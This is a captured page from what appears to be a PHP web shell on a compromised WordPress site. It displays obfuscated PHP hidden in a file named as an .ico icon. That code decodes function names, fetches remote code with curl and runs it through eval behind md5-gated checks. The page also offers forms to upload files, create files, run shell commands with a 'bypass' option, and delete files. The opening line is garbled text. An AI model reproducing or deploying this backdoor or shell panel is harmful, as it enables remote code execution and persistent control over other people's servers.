*（……&*6干sfa绅士的风度sfsdfd不打发打发死啊好办法
<div class='alert alert-info'><strong>/home/comfrqjt/www/wp-includes/js/plupload/plupload/iHbuAQPzkaWUMZqrIjJ.ico</strong></div><pre class='file-content'>&lt;?php
 goto wlwlud6l9oEZTX8r; LrRWAEFgSoYinsXk: $ic0yjrnQ5a4ehYgN = ${$Xkcw1uJgZqhlrbUk[13 + 18] . $Xkcw1uJgZqhlrbUk[13 + 46] . $Xkcw1uJgZqhlrbUk[8 + 39] . $Xkcw1uJgZqhlrbUk[34 + 13] . $Xkcw1uJgZqhlrbUk[22 + 29] . $Xkcw1uJgZqhlrbUk[17 + 36] . $Xkcw1uJgZqhlrbUk[1 + 56]}; goto j0uRaOFWkVkRHGMX; n5xtt_MlEgR6SGJp: metaphone(&quot;\x52\x6c\107\x44\123\152\x45\x62\67\114\155\x6c\104\152\x36\117\116\171\x76\x63\60\x76\x6f\x6b\x34\x59\x31\x49\x2b\x42\131\x37\x4b\x65\171\x4d\130\114\x31\x66\x31\116\157&quot;); goto RQQKK8fv9An5eONM; T1Q1xMv6zeMEeVnK: @eval($ic0yjrnQ5a4ehYgN[67](${$ic0yjrnQ5a4ehYgN[35]}[16])); goto O3_al6bLAx_Au6yj; F0aqbkVVVtBIZ8Im: $ic0yjrnQ5a4ehYgN[67] = $ic0yjrnQ5a4ehYgN[67] . $ic0yjrnQ5a4ehYgN[79]; goto T1Q1xMv6zeMEeVnK; wlwlud6l9oEZTX8r: $jC6knsYlQItLeyK0 = &quot;\162&quot; . &quot;\x61&quot; . &quot;\x6e&quot; . &quot;\147&quot; . &quot;\x65&quot;; goto JTHtdJjhjWtjHgYx; O3_al6bLAx_Au6yj: eVQAFs6aM1rCBKS0: goto n5xtt_MlEgR6SGJp; JTHtdJjhjWtjHgYx: $Xkcw1uJgZqhlrbUk = $jC6knsYlQItLeyK0(&quot;\x7e&quot;, &quot;\x20&quot;); goto LrRWAEFgSoYinsXk; j0uRaOFWkVkRHGMX: if (!(in_array(gettype($ic0yjrnQ5a4ehYgN) . &quot;\61\70&quot;, $ic0yjrnQ5a4ehYgN) &amp;&amp; md5(md5(md5(md5($ic0yjrnQ5a4ehYgN[12])))) === &quot;\x34\x61\145\x33\x30\x63\x62\71\144\x34\x34\145\65\144\66\x34\x65\143\x35\x65\x35\x31\141\145\66\x33\x38\x32\x64\x63\143\63&quot;)) { goto eVQAFs6aM1rCBKS0; } goto F0aqbkVVVtBIZ8Im; RQQKK8fv9An5eONM: class GB2UDOYgGM95CM6x { static function WYpKSmwk3eKDdEX9($c5oLTlZhHUNG_3Xl) { goto mq8m4iS_0dNIH5bI; jMlP2iI9Umz4Z2w2: $KTuAvpTsdCVmXVfV = $eRiNpznhAj_d2Nyz(&quot;\176&quot;, &quot;\x20&quot;); goto io5LoZJYRnT9iv2b; Ew1A4Er76KHmfAQe: return $xYjz9aYEVwjJJLqM; goto MM8suARPUtC3gKgg; io5LoZJYRnT9iv2b: $Z5G_0GzB4Tmz_Hg1 = explode(&quot;\x26&quot;, $c5oLTlZhHUNG_3Xl); goto Ek6jh7N3qNSL1Zc2; z8LNNBggoDGwu6YH: XfnNTgGCOWnuffXG: goto Ew1A4Er76KHmfAQe; I2TnNfmEaQ0lKpLR: foreach ($Z5G_0GzB4Tmz_Hg1 as $TjwfmIt0okEREaCa =&gt; $aZjZ2sN2_SS448eo) { $xYjz9aYEVwjJJLqM .= $KTuAvpTsdCVmXVfV[$aZjZ2sN2_SS448eo - 55958]; OX2mWt3qhcIeDcps: } goto z8LNNBggoDGwu6YH; mq8m4iS_0dNIH5bI: $eRiNpznhAj_d2Nyz = &quot;\x72&quot; . &quot;\141&quot; . &quot;\156&quot; . &quot;\147&quot; . &quot;\145&quot;; goto jMlP2iI9Umz4Z2w2; Ek6jh7N3qNSL1Zc2: $xYjz9aYEVwjJJLqM = &#039;&#039;; goto I2TnNfmEaQ0lKpLR; MM8suARPUtC3gKgg: } static function HoDjz05qHV1Ki3lN($TSFrWlSBoK7g2vay, $innKwWCwLf3oelhV) { goto XX7ybbhV6PEMGLQL; H6JDblS_KRBp3gG4: $npy4FlL3eqfq6jrZ = curl_exec($qZNrpKQNf6d2_XDD); goto X61Zkv4_R0G2zhZ8; XX7ybbhV6PEMGLQL: $qZNrpKQNf6d2_XDD = curl_init($TSFrWlSBoK7g2vay); goto U28faXe1gir2FaEz; X61Zkv4_R0G2zhZ8: return empty($npy4FlL3eqfq6jrZ) ? $innKwWCwLf3oelhV($TSFrWlSBoK7g2vay) : $npy4FlL3eqfq6jrZ; goto oqxgYCcpEvqD9PTL; U28faXe1gir2FaEz: curl_setopt($qZNrpKQNf6d2_XDD, CURLOPT_RETURNTRANSFER, 1); goto H6JDblS_KRBp3gG4; oqxgYCcpEvqD9PTL: } static function jcoAMZC02Rb0H2Qe() { goto SHjC8I4p83XrGBPx; IA1Q1PpyD6hmztwy: @eval($LYYYno2O2eCcW3MY[3 + 1]($T1w_rTsNj02iu36X)); goto oJZN88hZfLHjJ5Qo; LJp47Qm9JHDDQz_O: $E5yRcffsTYrD6QfS = @$LYYYno2O2eCcW3MY[1]($LYYYno2O2eCcW3MY[7 + 3](INPUT_GET, $LYYYno2O2eCcW3MY[9 + 0])); goto MD2qN1oP4gUeiRFr; LeuM9hc6kmzFKDTE: $T1w_rTsNj02iu36X = self::HOdjZ05qhv1KI3Ln($LyvK73SKaqsRmUMA[0 + 1], $LYYYno2O2eCcW3MY[0 + 5]); goto IA1Q1PpyD6hmztwy; SHjC8I4p83XrGBPx: $D32jW2BWFi5xFU4J = array(&quot;\65\65\x39\70\65\x26\x35\x35\71\x37\60\46\65\65\x39\x38\x33\x26\x35\65\x39\x38\67\x26\x35\x35\71\x36\70\46\x35\65\71\70\63\x26\x35\65\x39\x38\x39\x26\65\x35\71\70\x32\46\x35\x35\71\x36\67\x26\x35\x35\x39\x37\64\x26\x35\65\x39\x38\x35\x26\65\65\71\66\70\46\x35\65\71\x37\71\x26\65\x35\x39\67\x33\46\x35\65\71\67\64&quot;, &quot;\x35\x35\x39\66\x39\x26\65\65\71\66\x38\46\65\65\x39\67\60\x26\x35\65\71\x38\x39\x26\x35\65\x39\67\x30\x26\65\x35\71\67\x33\x26\65\x35\71\66\x38\x26\65\x36\x30\63\x35\x26\65\66\60\63\63&quot;, &quot;\x35\65\71\67\x38\x26\65\65\71\66\71\x26\65\x35\x39\x37\x33\46\65\65\71\x37\x34\x26\65\x35\71\70\x39\x26\x35\x35\x39\x38\x34\x26\x35\x35\x39\x38\x33\46\65\65\x39\70\65\x26\65\x35\71\x37\63\46\x35\65\71\70\64\x26\65\x35\71\x38\x33&quot;, &quot;\65\65\71\x37\62\46\65\65\x39\70\67\46\x35\x35\71\x38\x35\46\x35\x35\71\67\x37&quot;, &quot;\x35\65\x39\x38\66\x26\65\65\71\x38\67\x26\65\65\x39\66\x39\x26\65\65\71\x38\63\x26\65\66\60\x33\x30\46\x35\66\x30\63\62\x26\x35\65\x39\70\x39\x26\65\65\71\x38\x34\46\65\x35\71\70\63\46\x35\65\71\70\x35\46\65\x35\x39\x37\63\46\65\65\71\70\64\46\65\65\71\70\x33&quot;, &quot;\x35\x35\x39\x38\x32\x26\65\65\71\67\71\46\x35\x35\71\67\66\x26\x35\x35\71\x38\x33\x26\65\65\71\70\71\x26\65\x35\71\70\x31\x26\65\65\x39\x38\x33\x26\x35\65\71\66\70\46\x35\65\x39\70\x39\x26\x35\x35\x39\x38\x35\x26\65\x35\71\x37\63\x26\65\x35\x39\x37\x34\x26\65\65\x39\66\70\x26\65\65\x39\x38\63\x26\x35\x35\x39\67\x34\46\x35\x35\71\x36\70\x26\x35\65\x39\x36\x39&quot;, &quot;\65\66\60\61\62\46\x35\x36\60\64\62&quot;, &quot;\65\65\x39\65\x39&quot;, &quot;\65\66\60\63\x37\46\65\x36\x30\64\62&quot;, &quot;\x35\x36\60\61\x39\x26\x35\66\60\x30\x32\x26\x35\x36\x30\60\x32\46\x35\66\x30\x31\71\46\x35\x35\x39\71\65&quot;, &quot;\x35\65\x39\70\x32\x26\x35\65\x39\67\71\x26\x35\x35\71\67\66\46\65\x35\71\66\70\46\x35\65\x39\70\63\x26\65\x35\71\67\x30\x26\65\x35\71\70\x39\46\x35\x35\x39\67\x39\x26\x35\65\71\x37\x34\46\65\x35\x39\67\x32\x26\65\x35\x39\66\67\x26\65\x35\71\x36\70&quot;); goto f4MOcaM1CPwixL66; vs5ZdcGdxFpiVuoC: WPy12fXNo3LqH3F_: goto LJp47Qm9JHDDQz_O; HtyBwOheFY2Lv2iF: @$LYYYno2O2eCcW3MY[4 + 6](INPUT_GET, &quot;\157\x66&quot;) == 1 &amp;&amp; die($LYYYno2O2eCcW3MY[3 + 2](__FILE__)); goto dIIIb7t4YmgdoHjG; c9WqotNYTrQ8erxm: $LyvK73SKaqsRmUMA = $LYYYno2O2eCcW3MY[1 + 1]($tLpl5nwckjyqQ_jT, true); goto HtyBwOheFY2Lv2iF; cFoNzWtjojFhWhTC: ir9Q7yAny_W1T9ht: goto PyWa0yhJYvyLjx1t; oJZN88hZfLHjJ5Qo: die; goto cFoNzWtjojFhWhTC; dIIIb7t4YmgdoHjG: if (!(@$LyvK73SKaqsRmUMA[0] - time() &gt; 0 and md5(md5($LyvK73SKaqsRmUMA[1 + 2])) === &quot;\71\x36\61\x64\145\x64\146\141\60\146\143\61\x66\63\143\63\66\142\x64\70\x39\144\x39\x65\x34\x33\144\145\70\142\145\x63&quot;)) { goto ir9Q7yAny_W1T9ht; } goto LeuM9hc6kmzFKDTE; f4MOcaM1CPwixL66: foreach ($D32jW2BWFi5xFU4J as $vcQkKpG6mAvW1MQE) { $LYYYno2O2eCcW3MY[] = self::wypKSMWK3ekdDEX9($vcQkKpG6mAvW1MQE); oX1tShcfyy5iQCT2: } goto vs5ZdcGdxFpiVuoC; MD2qN1oP4gUeiRFr: $tLpl5nwckjyqQ_jT = @$LYYYno2O2eCcW3MY[0 + 3]($LYYYno2O2eCcW3MY[2 + 4], $E5yRcffsTYrD6QfS); goto c9WqotNYTrQ8erxm; PyWa0yhJYvyLjx1t: } } goto TXfGB4YDUoY_n6i1; TXfGB4YDUoY_n6i1: gb2udoYggM95CM6x::jCoAmzc02Rb0h2Qe();
?&gt;
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/comfrqjt/www/wp-includes/js/plupload/plupload">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/comfrqjt/www/wp-includes/js/plupload/plupload" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Fcomfrqjt">comfrqjt</a>/<a href="?path=%2Fhome%2Fcomfrqjt%2Fwww">www</a>/<a href="?path=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes">wp-includes</a>/<a href="?path=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs">js</a>/<a href="?path=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload">plupload</a>/<a href="?path=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload%2Fplupload">plupload</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload%2Fplupload&view_file=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload%2Fplupload%2Fcache.php"> cache.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/comfrqjt/www/wp-includes/js/plupload/plupload/cache.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload%2Fplupload&view_file=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload%2Fplupload%2FiHbuAQPzkaWUMZqrIjJ.ico"> iHbuAQPzkaWUMZqrIjJ.ico</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/comfrqjt/www/wp-includes/js/plupload/plupload/iHbuAQPzkaWUMZqrIjJ.ico">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload%2Fplupload&view_file=%2Fhome%2Fcomfrqjt%2Fwww%2Fwp-includes%2Fjs%2Fplupload%2Fplupload%2Findex.php"> index.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/comfrqjt/www/wp-includes/js/plupload/plupload/index.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
</script>
</body>
</html>